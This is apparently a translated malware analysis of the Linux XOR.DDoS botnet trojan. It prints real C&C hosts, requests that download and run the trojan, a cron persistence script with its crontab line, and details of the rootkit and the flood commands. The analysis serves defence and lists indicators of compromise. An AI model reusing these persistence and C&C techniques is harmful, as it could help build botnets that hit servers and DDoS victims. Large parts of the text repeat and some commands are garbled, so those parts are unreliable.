Linux DDoS Trojan is hidden behind a built-in rootkit
I bring to the attention of Habrahabr readers a translation of the article “Linux DDoS Trojan” from the Avast antivirus company’s blog.
According to the MalwareMustDie! Group, at the end of September 2014 a new threat appeared for Linux. It was called XOR.DDOS , as the name implies, it forms a botnet for DDoS attacks. The post mentioned the initial invasion over an SSH connection, the static properties of Linux executables and the encryption methods used. Later, we realized that the installation process configures the victim's Linux environment for the operation of an additional component - a rootkit.
Infection starts with a SSH brute force attempt, using the root login. If successful, attackers gain access to the compromised machine, and then install a trojan, usually with a shell script. The script contains procedures such as main, check, compiler, uncompress, setup, generate, upload, checkbuild , etc. and variables __host_32__, __host_64__, __kernel__, __remote__,, etc. The main procedure decrypts and selects a C & C server based on the system architecture.
In the query below, the iid parameter is an MD5 hash on behalf of the kernel version. First, the script lists all modules running on the current system using the lsmod command. Then it takes the last one and extracts its name and the vermagic parameter. In one of our cases, the testing environment runs under "3.8.0-19-generic \ SMP \ mod_unload \ modversions \ 686 \", which has an MD5 hash equal to CE74BF62ACFE944B2167248DD0674977.
')
Three GET requests are sent to C & C. The first is the check procedure:
Then the compiler procedure sends another GET request, in which such parameters as C & C servers, version info, etc. transferred to the server, where they are collected in the newly created executable file:
Finally, the third GET request loads an adapted version of the Trojan executable file, packed into a gzip archive, which is unpacked and launched:
The previous steps are performed only if there is already an assembled version for the current kernel version on the server. If not, the script finds the kernel header files in the / lib / modules /% s / build / directory, where% s means the return value after executing the uname -r command, then packages all the files and uploads them to the C & C server using a special bootloader named mini . This is the first scenario.
The rootkit components are loadable kernel modules (LKM). To successfully install them on the system, the value of vermagic LKM must be coordinated with the version of the kernel header files installed on the user system. That is the meaning of all the previous installation steps. If the previous sequences failed, the script installs a trojan without rootkit components.
The binary structure of the main executable file is as follows:
Trojan survivability is achieved in several ways. First, it is installed in the / boot / directory with a name containing a random string of 10 characters. Then a script with the same name is created in the /etc/init.d/ directory. Together with five symbolic links pointing to a script created in / etc / rc% ud / S90% s, where% u is an enumeration from 1 to 5, and% s is replaced with a random Trojan file name. In addition, the script adds the file /etc/cron.hourly/cron.sh with the following contents:
The line " * / 3 * * * * root /etc/cron.hourly/cron.sh " is added to the crontab.
The functionality of the main executable file consists of three infinite loops responsible for:
The configuration file contains four categories of lists: md5, denyip, filename, and rmfile . This refers to the killing of the running process by its CRC checksum, by active connections from the IP from the list, by the file name
and finally, deleting a file with a specific name. The following figure displays a fragment of the configuration file (well-known file names are highlighted, with the corresponding trojans).
Killing processes or deleting a list of processes, prior to its installation, is typical of Trojans.
In addition, we should note that there is a modification of this Trojan compiled for the ARM architecture. This suggests that the list of potentially infected systems (other than 32 and 64 Linux web servers and desktops) is expanding to routers, IoT, NAS storage, or 32-bit ARM servers (however, until this was observed in nature ). It contains an additional implementation of the load-and-execute function in an infinite loop called daemondown :
A few days ago there was a new 32-bit version of this trojan with some changes. The bot is installed as a /lib/libgcc4.so file and a unique file containing the identification string in /var/run/udev.pid , the initialization script was in /etc/cron.hourly/udev.sh and the rootkit functions were completely omitted. The presence of all these files can serve as an indicator of compromising.
Trojans for the Windows platform used various rootkit functions for a very long time. It is known that some Trojans had the Windows version of Agony rootkit (Agony rootkit - its source code was published in 2006). We presented research related to this malicious DDoS tool at Botconf 2014 in a review titled Chinese Chicken: A Multi-Platform DDoS Botnet. Now there is a flood Trojan for Linux, which also contains a built-in rootkit. This is the main functionality to hide various aspects of the Trojan’s activities and to ensure the execution of the procedures:
The trojan operates in user space, requesting these functions from a rootkit in the kernel using an I / O control command with a specific code (0 × 9748712). The presence of a rootkit is first checked by opening a process called rs_dev :
Actually, the request requires two parameters: one indicates the number of the command that the rootkit will perform, and the other is the port number in order to be hidden. Below is an example of how the Trojan hides the TCP port (note task 3):
Based on the names of the procedures, it is likely that the authors of the malware were inspired by an open source project called Suterusu to build their rootkit. The Trojan since last year is called "Hand of a Thief" , it failed in its ambitions to become the first banking trojan for a Linux desktop. He also borrowed some of the code from an existing open source project, namely the methods of introducing the process. The project description reads: “LKM rootkit for Linux 2.6 / 3.x on x86 (_64) and ARM”. In another article related to Suterusu , was published in January 2013.
The data is transmitted in encrypted form in both directions with the same hard-coded XOR key (BB2FA36AAA9541F0) as the configuration file. An additional file /var/run/sftp.pid, containing a unique magic string of 32 bytes in length, is stored and used as a unique identifier for the victim's machine in the message. There is a list of C & C commands that the bot is listening to: start a flood, stop the flood, download-and-execute, self-update, send MD5 a hash of its memory and get a list of processes to kill:
The list of C & C servers is stored in the shell script in the __remote__ variable. The trojan first sends information about the running system to the C & C server (it is very likely to be displayed on the operator panel of the botnet). Answers usually come in the form of a command. A command header with a length of 0x1C bytes is stored in a structure called Header . The first command stops any flood attacks and starts the next one with one of the hosts listed in the list. Headline entries are below. The selected parameters size is the total command size ( Size , 0x102C), the number of tasks ( Order , 0 × 3, i.e. _cmd_start in the switch table), and the number of flood tasks ( Task_Num , 0xf):
The rest of the flood command contains an encrypted structure with attack tasks. After decryption, we can see the IP address (red) and ports (green) that will be executed by the trojan and other DDoS attack parameters (for example, gray decides the type of attack: SYN / DNS).
According to the MalwareMustDie! Group, at the end of September 2014 a new threat appeared for Linux. It was called XOR.DDOS , as the name implies, it forms a botnet for DDoS attacks. The post mentioned the initial invasion over an SSH connection, the static properties of Linux executables and the encryption methods used. Later, we realized that the installation process configures the victim's Linux environment for the operation of an additional component - a rootkit.
Installation script and infection vector
Infection starts with a SSH brute force attempt, using the root login. If successful, attackers gain access to the compromised machine, and then install a trojan, usually with a shell script. The script contains procedures such as main, check, compiler, uncompress, setup, generate, upload, checkbuild , etc. and variables __host_32__, __host_64__, __kernel__, __remote__,, etc. The main procedure decrypts and selects a C & C server based on the system architecture.
In the query below, the iid parameter is an MD5 hash on behalf of the kernel version. First, the script lists all modules running on the current system using the lsmod command. Then it takes the last one and extracts its name and the vermagic parameter. In one of our cases, the testing environment runs under "3.8.0-19-generic \ SMP \ mod_unload \ modversions \ 686 \", which has an MD5 hash equal to CE74BF62ACFE944B2167248DD0674977.
')
Three GET requests are sent to C & C. The first is the check procedure:
request:
GET /check?iid=CE74BF62ACFE944B2167248DD0674977&kernel=3.8.0reply:
1001 | CE74BF62ACFE944B2167248DD0674977 | header directory is exists!
Then the compiler procedure sends another GET request, in which such parameters as C & C servers, version info, etc. transferred to the server, where they are collected in the newly created executable file:
request:
GET / compiler? Iid = CE74BF62ACFE944B2167248DD0674977 & username = admin
& password = admin & ip = 103.25.9.245: 8005% 7C103.240.141.50: 8005% 7C
66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C
ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005
& ver = 3.8.0-19-generic% 5C% 20SMP% 5C% 20mod_unload% 5C% 20modversions% 5C% 20686% 5C% 20
& kernel = 3.8.0
reply:
1001 | CE74BF62ACFE944B2167248DD0674977 | header directory is exists!
Finally, the third GET request loads an adapted version of the Trojan executable file, packed into a gzip archive, which is unpacked and launched:
request:
GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz
reply:
1001 | CE74BF62ACFE944B2167248DD0674977 | create ok
The previous steps are performed only if there is already an assembled version for the current kernel version on the server. If not, the script finds the kernel header files in the / lib / modules /% s / build / directory, where% s means the return value after executing the uname -r command, then packages all the files and uploads them to the C & C server using a special bootloader named mini . This is the first scenario.
The rootkit components are loadable kernel modules (LKM). To successfully install them on the system, the value of vermagic LKM must be coordinated with the version of the kernel header files installed on the user system. That is the meaning of all the previous installation steps. If the previous sequences failed, the script installs a trojan without rootkit components.
Structure and vitality
The binary structure of the main executable file is as follows:
Trojan survivability is achieved in several ways. First, it is installed in the / boot / directory with a name containing a random string of 10 characters. Then a script with the same name is created in the /etc/init.d/ directory. Together with five symbolic links pointing to a script created in / etc / rc% ud / S90% s, where% u is an enumeration from 1 to 5, and% s is replaced with a random Trojan file name. In addition, the script adds the file /etc/cron.hourly/cron.sh with the following contents:
#!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin' for i in `cat /proc/net/dev|grep :|awk -F: {',27h,'print $1′,27h,'}`; do ifconfig $i up& done cp /lib/udev/udev /lib/udev/debug /lib/udev/debug The line " * / 3 * * * * root /etc/cron.hourly/cron.sh " is added to the crontab.
The functionality of the main executable file consists of three infinite loops responsible for:
- Download and execute instructions in the bot configuration file;
- Reinstall yourself as / lib / udev / udev;
- Execution of flood commands.
The configuration file contains four categories of lists: md5, denyip, filename, and rmfile . This refers to the killing of the running process by its CRC checksum, by active connections from the IP from the list, by the file name
and finally, deleting a file with a specific name. The following figure displays a fragment of the configuration file (well-known file names are highlighted, with the corresponding trojans).
Killing processes or deleting a list of processes, prior to its installation, is typical of Trojans.
In addition, we should note that there is a modification of this Trojan compiled for the ARM architecture. This suggests that the list of potentially infected systems (other than 32 and 64 Linux web servers and desktops) is expanding to routers, IoT, NAS storage, or 32-bit ARM servers (however, until this was observed in nature ). It contains an additional implementation of the load-and-execute function in an infinite loop called daemondown :
A few days ago there was a new 32-bit version of this trojan with some changes. The bot is installed as a /lib/libgcc4.so file and a unique file containing the identification string in /var/run/udev.pid , the initialization script was in /etc/cron.hourly/udev.sh and the rootkit functions were completely omitted. The presence of all these files can serve as an indicator of compromising.
LKM Rootkit
Trojans for the Windows platform used various rootkit functions for a very long time. It is known that some Trojans had the Windows version of Agony rootkit (Agony rootkit - its source code was published in 2006). We presented research related to this malicious DDoS tool at Botconf 2014 in a review titled Chinese Chicken: A Multi-Platform DDoS Botnet. Now there is a flood Trojan for Linux, which also contains a built-in rootkit. This is the main functionality to hide various aspects of the Trojan’s activities and to ensure the execution of the procedures:
The trojan operates in user space, requesting these functions from a rootkit in the kernel using an I / O control command with a specific code (0 × 9748712). The presence of a rootkit is first checked by opening a process called rs_dev :
Actually, the request requires two parameters: one indicates the number of the command that the rootkit will perform, and the other is the port number in order to be hidden. Below is an example of how the Trojan hides the TCP port (note task 3):
Based on the names of the procedures, it is likely that the authors of the malware were inspired by an open source project called Suterusu to build their rootkit. The Trojan since last year is called "Hand of a Thief" , it failed in its ambitions to become the first banking trojan for a Linux desktop. He also borrowed some of the code from an existing open source project, namely the methods of introducing the process. The project description reads: “LKM rootkit for Linux 2.6 / 3.x on x86 (_64) and ARM”. In another article related to Suterusu , was published in January 2013.
C & C communication
The data is transmitted in encrypted form in both directions with the same hard-coded XOR key (BB2FA36AAA9541F0) as the configuration file. An additional file /var/run/sftp.pid, containing a unique magic string of 32 bytes in length, is stored and used as a unique identifier for the victim's machine in the message. There is a list of C & C commands that the bot is listening to: start a flood, stop the flood, download-and-execute, self-update, send MD5 a hash of its memory and get a list of processes to kill:
The list of C & C servers is stored in the shell script in the __remote__ variable. The trojan first sends information about the running system to the C & C server (it is very likely to be displayed on the operator panel of the botnet). Answers usually come in the form of a command. A command header with a length of 0x1C bytes is stored in a structure called Header . The first command stops any flood attacks and starts the next one with one of the hosts listed in the list. Headline entries are below. The selected parameters size is the total command size ( Size , 0x102C), the number of tasks ( Order , 0 × 3, i.e. _cmd_start in the switch table), and the number of flood tasks ( Task_Num , 0xf):
The rest of the flood command contains an encrypted structure with attack tasks. After decryption, we can see the IP address (red) and ports (green) that will be executed by the trojan and other DDoS attack parameters (for example, gray decides the type of attack: SYN / DNS).
Source: https://habr.com/ru/post/248933/
All Articles